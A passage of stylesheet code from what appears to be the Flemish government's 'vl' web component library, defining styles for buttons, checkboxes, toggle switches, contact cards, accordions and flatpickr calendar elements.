        border-color: var(--vl-theme-action-hover-color, #c6cdd3);
        color: #05c;
        color: var(--vl-theme-action-hover-color, #05c)
      }

      .vl-button--tertiary:active,
      .vl-button--tertiary:hover {
        background-color: transparent;
        border-color: #5990de;
        border-color: var(--vl-theme-action-hover-color, #5990de);
        border-width: .2rem;
        color: #05c;
        color: var(--vl-theme-action-hover-color, #05c);
        padding: 0 1.9rem
      }

      @media screen and (max-width:767px) {

        .vl-button--tertiary:active,
        .vl-button--tertiary:hover {
          padding: .9rem
        }
      }

      .vl-button--tertiary.vl-button--large:active,
      .vl-button--tertiary.vl-button--large:hover {
        padding: 1.4rem 1.9rem
      }

      @media screen and (max-width:767px) {

        .vl-button--tertiary.vl-button--large:active,
        .vl-button--tertiary.vl-button--large:hover {
          padding-left: .9rem;
          padding-right: .9rem
        }
      }

      .vl-button--tertiary.vl-button--loading:active,
      .vl-button--tertiary.vl-button--loading:hover {
        padding: 0 7.9rem 0 3.9rem
      }

      @media screen and (max-width:767px) {

        .vl-button--tertiary.vl-button--loading:active,
        .vl-button--tertiary.vl-button--loading:hover {
          padding: 1rem 7.9rem 1rem 3.9rem
        }
      }

      .vl-button--tertiary.vl-button--loading:focus {
        color: #fff
      }

      .vl-button--block {
        display: flex;
        justify-content: center;
        width: 100%
      }

      .vl-button--block.vl-button--icon-after,
      .vl-button--block.vl-button--icon-before {
        width: 100%
      }

      .vl-button--icon {
        width: 3.5rem
      }

      .vl-button--icon.vl-button {
        padding: 0
      }

      .vl-button--icon.vl-button .vl-button__icon {
        margin: auto
      }

      .vl-button--error {
        background-color: #d2373c
      }

      .vl-button--error.vl-button--secondary {
        background-color: #fff;
        color: #d2373c
      }

      .vl-button--error.vl-button--secondary:visited {
        color: #d2373c
      }

      .vl-button--error.vl-button--secondary:active,
      .vl-button--error.vl-button--secondary:hover {
        background-color: transparent;
        border-color: #aa2729;
        color: #aa2729
      }

      .vl-button--error.vl-button--tertiary {
        background-color: #fff;
        border-color: #d2373c;
        color: #d2373c
      }

      .vl-button--error.vl-button--tertiary:visited {
        color: #d2373c
      }

      .vl-button--error.vl-button--tertiary:active,
      .vl-button--error.vl-button--tertiary:hover {
        background-color: transparent;
        border-color: #aa2729;
        color: #aa2729
      }

      .vl-button--error:active,
      .vl-button--error:hover {
        background-color: #aa2729;
        color: #fff
      }

      .vl-button--large {
        font-size: 1.8rem;
        padding-bottom: 1.5rem;
        padding-top: 1.5rem
      }

      .vl-button--wide {
        padding-left: 6rem;
        padding-right: 6rem
      }

      .vl-button--narrow {
        padding-left: 1rem;
        padding-right: 1rem
      }

      .vl-button--narrow.vl-button--tertiary:active,
      .vl-button--narrow.vl-button--tertiary:hover {
        padding: 0 .9rem
      }

      .vl-button--disabled {
        cursor: not-allowed
      }

      .vl-button--disabled,
      .vl-button--disabled:active,
      .vl-button--disabled:hover {
        background-color: #cbd2d9;
        border-color: #cbd2d9;
        color: #687483
      }

      .vl-button--loading {
        padding: 1rem 8rem 1rem 4rem;
        position: relative
      }

      .vl-button--loading,
      .vl-button--loading:active,
      .vl-button--loading:hover {
        background-color: #cbd2d9;
        color: #fff
      }

      .vl-button--loading:focus {
        color: #fff
      }

      .vl-button--loading:after {
        animation: waving-light 1s linear infinite;
        background-color: #cbd2d9;
        border-radius: 50%;
        box-shadow: 1rem 0 #fff, 2rem 0 #fff, 3rem 0 #fff;
        content: "";
        display: block;
        height: .4rem;
        margin-right: 3.2rem;
        margin-top: -.2rem;
        position: absolute;
        right: 4rem;
        top: 50%;
        width: .4rem
      }

      @keyframes waving-light {
        0% {
          box-shadow: 10px 0 #687483, 20px 0 #687483, 30px 0 #687483
        }

        10% {
          box-shadow: 10px -3px #687483, 20px 0 #687483, 30px 0 #687483
        }

        20% {
          box-shadow: 10px -6px #687483, 20px -3px #687483, 30px 0 #687483
        }

        30% {
          box-shadow: 10px -3px #687483, 20px -6px #687483, 30px -3px #687483
        }

        40% {
          box-shadow: 10px 0 #687483, 20px -3px #687483, 30px -6px #687483
        }

        50% {
          box-shadow: 10px 0 #687483, 20px 0 #687483, 30px -3px #687483
        }

        60% {
          box-shadow: 10px 0 #687483, 20px 0 #687483, 30px 0 #687483
        }

        to {
          box-shadow: 10px 0 #687483, 20px 0 #687483, 30px 0 #687483
        }
      }

      .vl-button--naked,
      .vl-button--naked-action,
      .vl-button--naked-action:active,
      .vl-button--naked-action:focus,
      .vl-button--naked-action:hover,
      .vl-button--naked-action:visited,
      .vl-button--naked:active,
      .vl-button--naked:focus,
      .vl-button--naked:hover,
      .vl-button--naked:visited {
        background-color: transparent;
        border: 0;
        color: #333332
      }

      .vl-button--naked-action.vl-button--disabled,
      .vl-button--naked-action.vl-button--disabled:active,
      .vl-button--naked-action.vl-button--disabled:focus,
      .vl-button--naked-action.vl-button--disabled:hover,
      .vl-button--naked-action.vl-button--disabled:visited,
      .vl-button--naked.vl-button--disabled,
      .vl-button--naked.vl-button--disabled:active,
      .vl-button--naked.vl-button--disabled:focus,
      .vl-button--naked.vl-button--disabled:hover,
      .vl-button--naked.vl-button--disabled:visited {
        color: #687483
      }

      .vl-button--naked-action,
      .vl-button--naked-action:active,
      .vl-button--naked-action:focus,
      .vl-button--naked-action:hover,
      .vl-button--naked-action:visited {
        color: #05c;
        color: var(--vl-theme-action-color, #05c)
      }

      .vl-button__icon,
      .vl-button__icon.vl-icon {
        display: inline-flex
      }

      .vl-button__icon--before {
        margin-right: .8rem
      }

      .vl-button__icon--after {
        margin-left: .8rem
      }

      .vl-button-group {
        display: flex;
        flex-wrap: wrap
      }

      .vl-button-group .vl-button {
        margin-bottom: 1rem;
        margin-right: 1rem
      }

      .vl-checkbox {
        display: inline-block;
        max-width: 100%;
        position: relative
      }

      .vl-checkbox:not(.vl-checkbox--block):not(:last-of-type) {
        margin-right: 1.5rem
      }

      .vl-checkbox__label {
        display: flex;
        flex: 0 0 auto;
        font-size: 1.6rem;
        line-height: 2.4rem
      }

      @media screen and (max-width:767px) {
        .vl-checkbox__label {
          line-height: 2.2rem
        }
      }

      .vl-checkbox__label .vl-checkbox__box {
        flex: 0 0 1.8rem;
        height: 1.8rem;
        line-height: 1;
        margin-right: 1rem;
        margin-top: .3rem;
        position: relative;
        width: 1.8rem
      }

      .vl-checkbox__label .vl-checkbox__box:after,
      .vl-checkbox__label .vl-checkbox__box:before {
        font-family: "vlaanderen-icon" !important;
        -webkit-font-smoothing: antialiased;
        -moz-osx-font-smoothing: grayscale;
        font-feature-settings: normal;
        font-style: normal;
        font-variant: normal;
        font-weight: 400;
        -webkit-text-decoration: none;
        text-decoration: none;
        text-transform: none
      }

      @media screen and (max-width:767px) {
        .vl-checkbox__label .vl-checkbox__box {
          margin-top: .2rem
        }
      }

      .vl-checkbox__label .vl-checkbox__box:before {
        color: #8695a8;
        display: block;
        font-size: .8rem;
        left: .9rem;
        line-height: 1;
        position: absolute;
        text-align: center;
        top: .9rem;
        transform: translateZ(0) translate(-50%, -50%) scale(0);
        transition: transform .2s cubic-bezier(1, .1, 0, .9), color .2s cubic-bezier(1, .1, 0, .9);
        z-index: 2
      }

      .vl-checkbox__label .vl-checkbox__box:after {
        background: #fff;
        border: .1rem solid #8695a8;
        border-radius: .3rem;
        content: "";
        cursor: pointer;
        display: inline-block;
        height: 1.8rem;
        outline: .2rem solid transparent;
        overflow: hidden;
        transition: all .2s cubic-bezier(1, .1, 0, .9);
        white-space: nowrap;
        width: 1.8rem;
        z-index: 1
      }

      .vl-checkbox__toggle {
        overflow: hidden;
        position: absolute;
        clip: rect(0 0 0 0);
        height: .1rem;
        margin: -.1rem;
        padding: 0;
        width: .1rem
      }

      .vl-checkbox__toggle:focus+.vl-checkbox__label .vl-checkbox__box:after {
        box-shadow: 0 0 0 2px #fff, 0 0 0 5px rgba(0, 85, 204, .65);
        outline: .2rem solid transparent
      }

      @supports(outline-offset:2px) {
        .vl-checkbox__toggle:focus+.vl-checkbox__label .vl-checkbox__box:after {
          box-shadow: none;
          outline: 3px solid rgba(0, 85, 204, .65);
          outline-offset: 2px
        }
      }

      .vl-checkbox__toggle:checked+.vl-checkbox__label .vl-checkbox__box:before {
        content: ""
      }

      .vl-checkbox__toggle:indeterminate+.vl-checkbox__label .vl-checkbox__box:before {
        content: ""
      }

      .vl-checkbox__toggle:indeterminate+.vl-checkbox__label .vl-checkbox__box:before {
        font-size: .8rem
      }

      .vl-checkbox__toggle:indeterminate+.vl-checkbox__label .vl-checkbox__box:before {
        font-weight: 700
      }

      .vl-checkbox__toggle:checked+.vl-checkbox__label .vl-checkbox__box:before,
      .vl-checkbox__toggle:indeterminate+.vl-checkbox__label .vl-checkbox__box:before {
        color: #fff;
        transform: translateZ(0) translate(-50%, -50%) scale(1)
      }

      .vl-checkbox__toggle:checked+.vl-checkbox__label .vl-checkbox__box:after,
      .vl-checkbox__toggle:indeterminate+.vl-checkbox__label .vl-checkbox__box:after {
        background: #05c;
        border: .1rem solid #05c
      }

      .vl-checkbox--block {
        display: block;
        margin: 0
      }

      .vl-checkbox--disabled .vl-checkbox__label {
        color: #687483
      }

      .vl-checkbox--disabled .vl-checkbox__label .vl-checkbox__box:after {
        background-color: #8695a8;
        border-color: #8695a8;
        cursor: auto
      }

      .vl-checkbox--disabled .vl-checkbox__toggle:checked+.vl-checkbox__label .vl-checkbox__box:after {
        background: #8695a8;
        border: .1rem solid #8695a8
      }

      .vl-checkbox--single {
        margin: 0
      }

      .vl-checkbox--single .vl-checkbox__label {
        padding: 0
      }

      .vl-checkbox--single .vl-checkbox__label .vl-checkbox__box {
        margin: 0
      }

      .vl-checkbox--single .vl-checkbox__label .vl-checkbox__box:after {
        left: auto;
        position: relative;
        top: auto
      }

      .vl-checkbox--single .vl-checkbox--switch+.vl-checkbox__label .vl-checkbox--switch__label {
        margin: 0
      }

      .vl-checkbox--error .vl-checkbox__label .vl-checkbox__box:after,
      .vl-checkbox.invalid.validated .vl-checkbox__label .vl-checkbox__box:after {
        background-color: #fff;
        border-color: #d2373c
      }

      .vl-checkbox--error .vl-checkbox__toggle:checked+.vl-checkbox__label .vl-checkbox__box:before,
      .vl-checkbox.invalid.validated .vl-checkbox__toggle:checked+.vl-checkbox__label .vl-checkbox__box:before {
        color: #d2373c
      }

      .vl-checkbox--error .vl-checkbox__toggle:checked+.vl-checkbox__label .vl-checkbox__box:after,
      .vl-checkbox.invalid.validated .vl-checkbox__toggle:checked+.vl-checkbox__label .vl-checkbox__box:after {
        background-color: #fff;
        border: .1rem solid #d2373c
      }

      .vl-checkbox--success .vl-checkbox__label .vl-checkbox__box:after,
      .vl-checkbox.valid.validated .vl-checkbox__label .vl-checkbox__box:after {
        background-color: #fff;
        border-color: #009e47
      }

      .vl-checkbox--success .vl-checkbox__toggle:checked+.vl-checkbox__label .vl-checkbox__box:before,
      .vl-checkbox.valid.validated .vl-checkbox__toggle:checked+.vl-checkbox__label .vl-checkbox__box:before {
        color: #009e47
      }

      .vl-checkbox--success .vl-checkbox__toggle:checked+.vl-checkbox__label .vl-checkbox__box:after,
      .vl-checkbox.valid.validated .vl-checkbox__toggle:checked+.vl-checkbox__label .vl-checkbox__box:after {
        background-color: #fff;
        border: .1rem solid #009e47
      }

      .vl-checkbox--empty {
        margin-top: 0
      }

      .vl-checkbox--switch {
        overflow: hidden;
        position: absolute;
        clip: rect(0 0 0 0);
        height: .1rem;
        margin: -.1rem;
        padding: 0;
        width: .1rem
      }

      .vl-checkbox--switch:focus+.vl-checkbox__label .vl-checkbox--switch__label {
        box-shadow: 0 0 0 2px #fff, 0 0 0 5px rgba(0, 85, 204, .65)
      }

      .vl-checkbox--switch:checked+.vl-checkbox__label .vl-checkbox--switch__label {
        background: #05c;
        border-color: #05c;
        position: relative
      }

      .vl-checkbox--switch:checked+.vl-checkbox__label .vl-checkbox--switch__label span:before,
      .vl-checkbox--switch:checked+.vl-checkbox__label .vl-checkbox--switch__label:before {
        margin-left: calc(50% + .3rem);
        opacity: 1;
        transform: translate(.1rem, .1rem) scale(1);
        visibility: visible
      }

      .vl-checkbox--switch:checked+.vl-checkbox__label .vl-checkbox--switch__label:after {
        background-color: #fff;
        border-color: #05c;
        height: 2rem;
        margin-left: 50%;
        transform: translate(-.1rem, -.1rem);
        width: 2rem
      }

      .vl-checkbox--switch:checked:disabled+.vl-checkbox__label .vl-checkbox--switch__label,
      .vl-checkbox--switch:checked:disabled+.vl-checkbox__label .vl-checkbox--switch__label:after {
        border-color: #8695a8
      }

      .vl-checkbox--switch+.vl-checkbox__label {
        align-items: center
      }

      .vl-checkbox--switch+.vl-checkbox__label .vl-checkbox--switch__label {
        background: #fff;
        border: .1rem solid #8695a8;
        border-radius: 2em;
        cursor: pointer;
        display: inline-block;
        height: 2.2rem;
        line-height: 1rem;
        margin: 0 1rem 0 0;
        outline: .2rem solid transparent;
        padding: .1rem;
        position: relative;
        transition: box-shadow .1s cubic-bezier(1, .1, 0, .9);
        -webkit-user-select: none;
        -moz-user-select: none;
        user-select: none;
        vertical-align: middle;
        width: 4rem
      }

      .vl-checkbox--switch+.vl-checkbox__label .vl-checkbox--switch__label span:after,
      .vl-checkbox--switch+.vl-checkbox__label .vl-checkbox--switch__label span:before {
        font-family: "vlaanderen-icon" !important;
        -webkit-font-smoothing: antialiased;
        -moz-osx-font-smoothing: grayscale;
        font-feature-settings: normal;
        font-style: normal;
        font-variant: normal;
        font-weight: 400;
        -webkit-text-decoration: none;
        text-decoration: none;
        text-transform: none
      }

      .vl-checkbox--switch+.vl-checkbox__label .vl-checkbox--switch__label span:before {
        content: "";
        display: block;
        font-size: .8rem;
        left: 0;
        margin: .3rem 0 0 .3rem;
        opacity: 0;
        position: absolute;
        transform: translate(.4rem, .4rem) scale(.6);
        transform-origin: 50%;
        transition: margin .2s cubic-bezier(1, .1, 0, .9), opacity .2s cubic-bezier(1, .1, 0, .9);
        visibility: hidden;
        z-index: 2
      }

      .vl-checkbox--switch+.vl-checkbox__label .vl-checkbox--switch__label:after {
        background: #8695a8;
        border: .1rem solid #8695a8;
        border-radius: 2em;
        content: "";
        display: block;
        height: 1.8rem;
        margin-left: 0;
        position: relative;
        transition: padding .3s ease, margin .2s cubic-bezier(1, .1, 0, .9);
        width: 1.8rem
      }

      .vl-checkbox--switch:disabled+.vl-checkbox__label {
        color: #687483
      }

      .vl-checkbox--switch:disabled+.vl-checkbox__label .vl-checkbox--switch__label {
        background-color: #8695a8;
        border-color: #8695a8;
        cursor: default
      }

      .vl-checkbox--switch:disabled+.vl-checkbox__label .vl-checkbox--switch__label:after {
        border-color: #f3f5f6
      }

      .vl-checkbox__annotation {
        font-size: 1.5rem;
        margin-left: auto
      }

      .vl-contact-card__title,
      .vl-link.vl-contact-card__title {
        -moz-appearance: none;
        appearance: none;
        -webkit-appearance: none;
        background-color: transparent;
        border: 0;
        border-radius: 0;
        display: block;
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        font-size: 2.2rem;
        font-weight: 500;
        line-height: 1.36;
        line-height: 3rem;
        margin-bottom: 1rem;
        overflow: hidden;
        padding: 0
      }

      @media screen and (max-width:767px) {

        .vl-contact-card__title,
        .vl-link.vl-contact-card__title {
          font-size: 2rem;
          margin-bottom: 1.4rem
        }
      }

      .vl-contact-card__content {
        display: flex;
        flex-wrap: wrap;
        font-size: 1.6rem;
        line-height: 2rem;
        padding: 2.5rem
      }

      @media screen and (min-width:767.1px) {
        .vl-region--alt .vl-contact-card__content {
          padding: 0
        }
      }

      @media screen and (max-width:767px) {
        .vl-contact-card__content {
          display: block;
          font-size: 1.5rem;
          padding: 1.5rem
        }
      }

      .no-flexbox .vl-contact-card__content:after,
      .no-flexbox .vl-contact-card__content:before {
        content: "";
        display: table
      }

      .no-flexbox .vl-contact-card__content:after {
        clear: both
      }

      .vl-contact-card__content .vl-map__container {
        height: 100%;
        margin-bottom: 0
      }

      .vl-contact-card__data,
      .vl-contact-card__map {
        width: 50%
      }

      .no-flexbox .vl-contact-card__data,
      .no-flexbox .vl-contact-card__map {
        float: left
      }

      @media screen and (max-width:767px) {

        .vl-contact-card__data,
        .vl-contact-card__map {
          width: auto
        }
      }

      .vl-contact-card__data {
        line-height: 2.4rem;
        padding-right: 1.5rem
      }

      @media screen and (max-width:767px) {
        .vl-contact-card__data {
          padding-right: 0
        }
      }

      .vl-contact-card__data__title {
        clear: left;
        color: #687483;
        float: left;
        margin-bottom: 1rem;
        overflow: hidden;
        padding-right: .5rem;
        text-overflow: ellipsis;
        white-space: nowrap;
        white-space: normal;
        width: 30%
      }

      @media screen and (max-width:767px) {
        .vl-contact-card__data__title {
          display: none
        }
      }

      .vl-contact-card__data__content {
        float: left;
        margin-bottom: 2.5rem;
        overflow: hidden;
        text-overflow: ellipsis;
        white-space: nowrap;
        white-space: normal;
        width: 70%
      }

      @media screen and (max-width:767px) {
        .vl-contact-card__data__content {
          float: none;
          margin-bottom: 1.25rem;
          width: auto
        }
      }

      .vl-contact-card__data__content *,
      .vl-contact-card__data__title * {
        overflow: hidden;
        text-overflow: ellipsis;
        white-space: normal
      }

      .vl-contact-card__data__name {
        font-weight: 700
      }

      .vl-contact-card__map {
        height: 25rem;
        min-height: 25rem;
        overflow: hidden;
        padding-left: 1.5rem;
        position: relative
      }

      @media screen and (max-width:767px) {
        .vl-contact-card__map {
          margin-top: 2rem;
          min-height: 0;
          padding-left: 0
        }
      }

      .vl-contact-card__map .vl-map {
        border: 1px solid #cbd2da;
        height: 100%;
        width: 100%
      }

      @media screen and (max-width:767px) {
        .vl-contact-card__map .vl-map {
          height: auto;
          min-height: 15rem;
          position: relative
        }
      }

      .no-js .vl-contact-card__map {
        height: auto;
        min-height: 0
      }

      .no-js .vl-contact-card__map .vl-map {
        height: auto
      }

      .vl-contact-card__footer {
        border-top: 1px solid #cbd2da;
        font-size: 1.6rem;
        margin-top: 2.5rem;
        overflow: hidden;
        padding-top: 1rem;
        width: 100%
      }

      @media screen and (max-width:767px) {
        .vl-contact-card__footer {
          font-size: 1.6rem;
          margin-top: 1.5rem
        }
      }

      .vl-contact-card.js-vl-accordion .vl-contact-card__title {
        cursor: pointer;
        margin-bottom: 0;
        padding-left: 2rem;
        position: relative;
        transition: margin-bottom .3s
      }

      .vl-contact-card.js-vl-accordion .vl-contact-card__title .vl-vi {
        color: #333332;
        font-size: 1.3rem;
        left: 0;
        line-height: 3.2rem;
        position: absolute;
        top: 0;
        transition: transform .2s
      }

      .vl-contact-card.js-vl-accordion .vl-contact-card__content-wrapper {
        max-height: 0;
        overflow: hidden;
        transition: max-height .3s cubic-bezier(0, 1.05, 0, 1);
        visibility: hidden
      }

      .vl-contact-card.js-vl-accordion .vl-contact-card__content-wrapper .vl-map {
        display: none
      }

      .vl-contact-card.js-vl-accordion--open .vl-contact-card__title {
        margin-bottom: 1rem
      }

      .vl-contact-card.js-vl-accordion--open .vl-contact-card__content-wrapper {
        max-height: 9999px;
        transition: max-height .3s ease-in;
        visibility: visible
      }

      .vl-contact-card.js-vl-accordion--open .vl-contact-card__content-wrapper .vl-map {
        display: block
      }

      .vl-contact-data__accordion>.vl-accordion>.vl-accordion__summary>.vl-toggle,
      .vl-contact-data__content--collapsible>.vl-accordion>.vl-accordion__summary>.vl-accordion>.vl-accordion__summary>.vl-toggle,
      .vl-contact-data__content--collapsible>.vl-accordion__wrapper>.vl-accordion>.vl-accordion__summary>.vl-toggle {
        align-items: center;
        box-shadow: none;
        display: flex;
        padding-left: 0
      }

      .vl-contact-data__accordion>.vl-accordion>.vl-accordion__summary>.vl-toggle .vl-toggle__icon,
      .vl-contact-data__content--collapsible>.vl-accordion>.vl-accordion__summary>.vl-accordion>.vl-accordion__summary>.vl-toggle .vl-toggle__icon,
      .vl-contact-data__content--collapsible>.vl-accordion__wrapper>.vl-accordion>.vl-accordion__summary>.vl-toggle .vl-toggle__icon {
        align-self: auto;
        display: block;
        font-size: 1.8rem;
        left: 6rem;
        line-height: 1.4;
        margin-top: 0;
        position: absolute;
        top: 0
      }

      @media screen and (max-width:767px) {

        .vl-contact-data__accordion>.vl-accordion>.vl-accordion__summary>.vl-toggle .vl-toggle__icon,
        .vl-contact-data__content--collapsible>.vl-accordion>.vl-accordion__summary>.vl-accordion>.vl-accordion__summary>.vl-toggle .vl-toggle__icon,
        .vl-contact-data__content--collapsible>.vl-accordion__wrapper>.vl-accordion>.vl-accordion__summary>.vl-toggle .vl-toggle__icon {
          left: 5rem;
          line-height: 1.44
        }
      }

      .vl-contact-data__accordion>.vl-accordion>.vl-accordion__summary>.vl-toggle .vl-infoblock__header,
      .vl-contact-data__content--collapsible>.vl-accordion>.vl-accordion__summary>.vl-accordion>.vl-accordion__summary>.vl-toggle .vl-infoblock__header,
      .vl-contact-data__content--collapsible>.vl-accordion__wrapper>.vl-accordion>.vl-accordion__summary>.vl-toggle .vl-infoblock__header {
        align-items: normal
      }

      .vl-contact-data__accordion>.vl-accordion>.vl-accordion__summary>.vl-toggle .vl-infoblock__header__icon,
      .vl-contact-data__content--collapsible>.vl-accordion>.vl-accordion__summary>.vl-accordion>.vl-accordion__summary>.vl-toggle .vl-infoblock__header__icon,
      .vl-contact-data__content--collapsible>.vl-accordion__wrapper>.vl-accordion>.vl-accordion__summary>.vl-toggle .vl-infoblock__header__icon {
        margin-right: 4rem
      }

      .vl-contact-data__accordion>.vl-accordion>.vl-accordion__summary>.vl-toggle:focus,
      .vl-contact-data__accordion>.vl-accordion>.vl-accordion__summary>.vl-toggle:hover,
      .vl-contact-data__content--collapsible>.vl-accordion>.vl-accordion__summary>.vl-accordion>.vl-accordion__summary>.vl-toggle:focus,
      .vl-contact-data__content--collapsible>.vl-accordion>.vl-accordion__summary>.vl-accordion>.vl-accordion__summary>.vl-toggle:hover,
      .vl-contact-data__content--collapsible>.vl-accordion__wrapper>.vl-accordion>.vl-accordion__summary>.vl-toggle:focus,
      .vl-contact-data__content--collapsible>.vl-accordion__wrapper>.vl-accordion>.vl-accordion__summary>.vl-toggle:hover {
        box-shadow: none;
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .vl-contact-data__accordion>.vl-accordion>.vl-accordion__summary>.vl-toggle:focus .vl-infoblock__title,
      .vl-contact-data__accordion>.vl-accordion>.vl-accordion__summary>.vl-toggle:hover .vl-infoblock__title,
      .vl-contact-data__content--collapsible>.vl-accordion>.vl-accordion__summary>.vl-accordion>.vl-accordion__summary>.vl-toggle:focus .vl-infoblock__title,
      .vl-contact-data__content--collapsible>.vl-accordion>.vl-accordion__summary>.vl-accordion>.vl-accordion__summary>.vl-toggle:hover .vl-infoblock__title,
      .vl-contact-data__content--collapsible>.vl-accordion__wrapper>.vl-accordion>.vl-accordion__summary>.vl-toggle:focus .vl-infoblock__title,
      .vl-contact-data__content--collapsible>.vl-accordion__wrapper>.vl-accordion>.vl-accordion__summary>.vl-toggle:hover .vl-infoblock__title {
        -webkit-text-decoration: underline;
        text-decoration: underline
      }

      .vl-contact-data__accordion>.vl-accordion>.vl-accordion__summary>.vl-toggle .vl-title,
      .vl-contact-data__content--collapsible>.vl-accordion>.vl-accordion__summary>.vl-accordion>.vl-accordion__summary>.vl-toggle .vl-title,
      .vl-contact-data__content--collapsible>.vl-accordion__wrapper>.vl-accordion>.vl-accordion__summary>.vl-toggle .vl-title {
        font-weight: 500;
        margin-bottom: 0
      }

      .vl-contact-data__accordion>.vl-accordion>.vl-accordion__content>.vl-accordion__panel,
      .vl-contact-data__content--collapsible>.vl-accordion>.vl-accordion__summary>.vl-accordion>.vl-accordion__content>.vl-accordion__panel,
      .vl-contact-data__content--collapsible>.vl-accordion__wrapper>.vl-accordion>.vl-accordion__content>.vl-accordion__panel {
        padding-left: 6.5rem
      }

      @media screen and (max-width:767px) {

        .vl-contact-data__accordion>.vl-accordion>.vl-accordion__content>.vl-accordion__panel,
        .vl-contact-data__content--collapsible>.vl-accordion>.vl-accordion__summary>.vl-accordion>.vl-accordion__content>.vl-accordion__panel,
        .vl-contact-data__content--collapsible>.vl-accordion__wrapper>.vl-accordion>.vl-accordion__content>.vl-accordion__panel {
          padding-left: 5rem
        }
      }

      @media screen and (max-width:500px) {

        .vl-contact-data__accordion>.vl-accordion>.vl-accordion__content>.vl-accordion__panel,
        .vl-contact-data__content--collapsible>.vl-accordion>.vl-accordion__summary>.vl-accordion>.vl-accordion__content>.vl-accordion__panel,
        .vl-contact-data__content--collapsible>.vl-accordion__wrapper>.vl-accordion>.vl-accordion__content>.vl-accordion__panel {
          padding-left: 0
        }
      }

      .vl-contact-data {
        container: card/inline-size
      }

      .vl-contact-data .vl-infoblock .vl-annotation {
        font-size: 1.6rem
      }

      @container card (width < 1023px) {
        .vl-contact-data>.vl-grid>[class^=vl-col] {
          flex-basis: 100%;
          max-width: 100%;
          min-width: 100%
        }

        .vl-contact-data>.vl-grid>[class^=vl-col].vl-contact-data__content:not(.vl-contact-data__content--collapsible) {
          margin-left: 7rem;
          max-width: calc(100% - 7rem);
          min-width: calc(100% - 7rem)
        }
      }

      .vl-contact-data__content:not(.vl-contact-data__content--collapsible) {
        margin-left: 0
      }

      @media screen and (max-width:1023px) {
        .vl-contact-data__content:not(.vl-contact-data__content--collapsible) {
          margin-left: 7rem !important;
          max-width: calc(100% - 7rem) !important;
          min-width: calc(100% - 7rem) !important
        }
      }

      @media screen and (max-width:767px) {
        .vl-contact-data__content:not(.vl-contact-data__content--collapsible) {
          margin-left: 5.1rem !important;
          max-width: calc(100% - 5.1rem) !important;
          min-width: calc(100% - 5.1rem) !important
        }
      }

      @media screen and (max-width:500px) {
        .vl-contact-data__content:not(.vl-contact-data__content--collapsible) {
          margin-left: 0 !important;
          max-width: 100% !important;
          min-width: 100% !important
        }
      }

      .vl-contact-data__content--full-width {
        margin-left: 7rem;
        margin-top: 3rem
      }

      @media screen and (max-width:767px) {
        .vl-contact-data__content--full-width {
          margin-left: 5.1rem
        }
      }

      @media screen and (max-width:500px) {
        .vl-contact-data__content--full-width {
          margin-left: 0;
          margin-top: 1.5rem
        }
      }

      .vl-contact-data+.vl-contact-data:before {
        background-image: url("");
        background-repeat: repeat-x;
        background-size: 20px 3.8px;
        content: "";
        display: block;
        height: 4px;
        margin: 3rem 0
      }

      @media screen and (max-width:1023px) {
        .vl-contact-data+.vl-contact-data:before {
          margin: 1.5rem 0
        }
      }

      .vl-contact-data--full-width .vl-properties--full-width {
        padding-left: 6.9rem
      }

      @media screen and (max-width:767px) {
        .vl-contact-data--full-width .vl-properties--full-width {
          padding-left: 0
        }
      }

      .flatpickr-calendar {
        animation: none;
        background: transparent;
        border: 0;
        border-radius: 5px;
        box-shadow: 0 3px 13px rgba(0, 0, 0, .08);
        box-sizing: border-box;
        direction: ltr;
        display: none;
        font-size: 14px;
        line-height: 24px;
        opacity: 0;
        padding: 0;
        position: absolute;
        text-align: center;
        touch-action: manipulation;
        visibility: hidden;
        width: 307.875px
      }

      .flatpickr-calendar.inline,
      .flatpickr-calendar.open {
        max-height: 640px;
        opacity: 1;
        visibility: visible
      }

      .flatpickr-calendar.open {
        display: inline-block;
        z-index: 100021
      }

      .flatpickr-calendar.animate.open {
        animation: fpFadeInDown .3s cubic-bezier(.23, 1, .32, 1)
      }

      .flatpickr-calendar.inline {
        display: block;
        position: relative;
        top: 2px
      }

      .flatpickr-calendar.static {
        position: absolute;
        top: calc(100% + 2px)
      }

      .flatpickr-calendar.static.open {
        display: block;
        z-index: 999
      }

      .flatpickr-calendar.multiMonth .flatpickr-days .dayContainer:nth-child(n+1) .flatpickr-day.inRange:nth-child(7n+7) {
        box-shadow: none !important
      }

      .flatpickr-calendar.multiMonth .flatpickr-days .dayContainer:nth-child(n+2) .flatpickr-day.inRange:nth-child(7n+1) {
        box-shadow: -2px 0 0 #e6e6e6, 5px 0 0 #e6e6e6
      }

      .flatpickr-calendar .hasTime .dayContainer,
      .flatpickr-calendar .hasWeeks .dayContainer {
        border-bottom: 0;
        border-bottom-left-radius: 0;
        border-bottom-right-radius: 0
      }

      .flatpickr-calendar .hasWeeks .dayContainer {
        border-left: 0
      }

      .flatpickr-calendar.hasTime .flatpickr-time {
        border-top: 1px solid #eceef1;
        height: 40px
      }

      .flatpickr-calendar.hasTime .flatpickr-innerContainer {
        border-bottom: 0
      }

      .flatpickr-calendar.hasTime .flatpickr-time {
        border: 1px solid #eceef1
      }

      .flatpickr-calendar.noCalendar.hasTime .flatpickr-time {
        height: auto
      }

      .flatpickr-calendar:after,
      .flatpickr-calendar:before {
        border: solid transparent;
        content: "";
        display: block;
        height: 0;
        left: 22px;
        pointer-events: none;
        position: absolute;
        width: 0
      }

      .flatpickr-calendar.arrowRight:after,
      .flatpickr-calendar.arrowRight:before,
      .flatpickr-calendar.rightMost:after,
      .flatpickr-calendar.rightMost:before {
        left: auto;
        right: 22px
      }

      .flatpickr-calendar.arrowCenter:after,
      .flatpickr-calendar.arrowCenter:before {
        left: 50%;
        right: 50%
      }

      .flatpickr-calendar:before {
        border-width: 5px;
        margin: 0 -5px
      }

      .flatpickr-calendar:after {
        border-width: 4px;
        margin: 0 -4px
      }

      .flatpickr-calendar.arrowTop:after,
      .flatpickr-calendar.arrowTop:before {
        bottom: 100%
      }

      .flatpickr-calendar.arrowTop:after,
      .flatpickr-calendar.arrowTop:before {
        border-bottom-color: #eceef1
      }

      .flatpickr-calendar.arrowBottom:after,
      .flatpickr-calendar.arrowBottom:before {
        top: 100%
      }

      .flatpickr-calendar.arrowBottom:after,
      .flatpickr-calendar.arrowBottom:before {
        border-top-color: #eceef1
      }

      .flatpickr-calendar:focus {
        outline: 0
      }

      .flatpickr-wrapper {
        display: inline-block;
        position: relative
      }

      .flatpickr-months {
        display: flex
      }

      .flatpickr-months .flatpickr-month {
